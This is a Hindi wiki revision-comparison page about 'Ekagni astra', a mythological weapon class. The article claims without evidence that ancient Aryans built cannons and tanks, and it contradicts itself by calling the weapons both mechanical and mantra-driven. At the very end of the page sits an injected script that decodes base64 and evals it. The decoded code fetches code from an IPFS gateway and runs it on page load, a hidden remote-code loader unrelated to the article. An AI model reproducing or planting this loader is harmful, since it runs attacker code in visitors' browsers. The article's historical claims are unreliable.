"एकाग्नि अस्त्र" के अवतरणों में अंतर

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें
 
(3 सदस्यों द्वारा किये गये बीच के 5 अवतरण नहीं दर्शाए गए)
पंक्ति 1: पंक्ति 1:
'''एकाग्नि अस्त्र'''
+
{{अस्वीकरण}}
 +
'''एकाग्नि अस्त्र''' वह [[अस्त्र शस्त्र|शस्त्र]] हैं, जो यान्त्रिक उपाय से फेंके जाते हैं; ये अस्त्र नलिका आदि हैं। नाना प्रकार के अस्त्र इसके अन्तर्गत आते हैं। [[अग्नि]], [[गैस]], [[विद्युत]] से भी ये अस्त्र छोडे जाते हैं। प्रमाणों की ज़रूरत नहीं है कि प्राचीन [[आर्य]] गोला-बारूद और भारी तोपें, टैंक बनाने में भी कुशल थे। इन अस्त्रों के लिये देवी और [[देवता|देवताओं]] की आवश्यकता नहीं पड़ती। ये भयकंर अस्त्र हैं और स्वयं ही अग्नि, गैस या विद्युत आदि से चलते हैं। ये वे आयुध हैं जो मन्त्रों से चलाये जाते हैं- ये दैवी हैं। प्रत्येक शस्त्र पर भिन्न-भिन्न देव या देवी का अधिकार होता है और मन्त्र-तन्त्र के द्वारा उसका संचालन होता है। वस्तुत: इन्हें दिव्य तथा मान्त्रिक-अस्त्र कहते हैं।
  
यह वे [[अस्त्र शस्त्र|शस्त्र]] हैं, जो यान्त्रिक उपाय से फेंके जाते हैं; ये अस्त्र नलिका आदि हैं। नाना प्रकार के अस्त्र इसके अन्तर्गत आते हैं। अग्नि, गैस, विद्युत से भी ये अस्त्र छोडे जाते हैं। प्रमाणों की ज़रूरत नहीं है कि प्राचीन [[आर्य]] गोला-बारूद और भारी तोपें, टैंक बनाने में भी कुशल थे। इन अस्त्रों के लिये देवी और देवताओं की आवश्यकता नहीं पड़ती। ये भयकंर अस्त्र हैं और स्वयं ही अग्नि, गैस या विद्युत आदि से चलते हैं। ये वे आयुध जो मन्त्रों से चलाये जाते हैं- ये दैवी हैं। प्रत्येक शस्त्र पर भिन्न-भिन्न देव या देवी का अधिकार होता है और मन्त्र-तन्त्र के द्वारा उसका संचालन होता है। वस्तुत: इन्हें दिव्य तथा मान्त्रिक-अस्त्र कहते हैं।
 
{{प्रचार}}
 
 
{{लेख प्रगति  
 
{{लेख प्रगति  
 
|आधार=
 
|आधार=
पंक्ति 11: पंक्ति 10:
 
}}
 
}}
 
==संबंधित लेख==
 
==संबंधित लेख==
{{अस्त्र शस्त्र}}
+
{{अस्त्र शस्त्र}}{{महाभारत}}
{{महाभारत}}
 
 
[[Category:महाभारत]]
 
[[Category:महाभारत]]
[[Category:अस्त्र शस्त्र]]
+
[[Category:पौराणिक अस्त्र-शस्त्र]]
[[Category:पौराणिक आयुध]]
 
 
[[Category:पौराणिक कोश]]
 
[[Category:पौराणिक कोश]]
 
__INDEX__
 
__INDEX__

15:30, 24 मार्च 2012 के समय का अवतरण

Warning-sign-small.png यह लेख पौराणिक ग्रंथों अथवा मान्यताओं पर आधारित है अत: इसमें वर्णित सामग्री के वैज्ञानिक प्रमाण होने का आश्वासन नहीं दिया जा सकता। विस्तार में देखें अस्वीकरण

एकाग्नि अस्त्र वह शस्त्र हैं, जो यान्त्रिक उपाय से फेंके जाते हैं; ये अस्त्र नलिका आदि हैं। नाना प्रकार के अस्त्र इसके अन्तर्गत आते हैं। अग्नि, गैस, विद्युत से भी ये अस्त्र छोडे जाते हैं। प्रमाणों की ज़रूरत नहीं है कि प्राचीन आर्य गोला-बारूद और भारी तोपें, टैंक बनाने में भी कुशल थे। इन अस्त्रों के लिये देवी और देवताओं की आवश्यकता नहीं पड़ती। ये भयकंर अस्त्र हैं और स्वयं ही अग्नि, गैस या विद्युत आदि से चलते हैं। ये वे आयुध हैं जो मन्त्रों से चलाये जाते हैं- ये दैवी हैं। प्रत्येक शस्त्र पर भिन्न-भिन्न देव या देवी का अधिकार होता है और मन्त्र-तन्त्र के द्वारा उसका संचालन होता है। वस्तुत: इन्हें दिव्य तथा मान्त्रिक-अस्त्र कहते हैं।


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>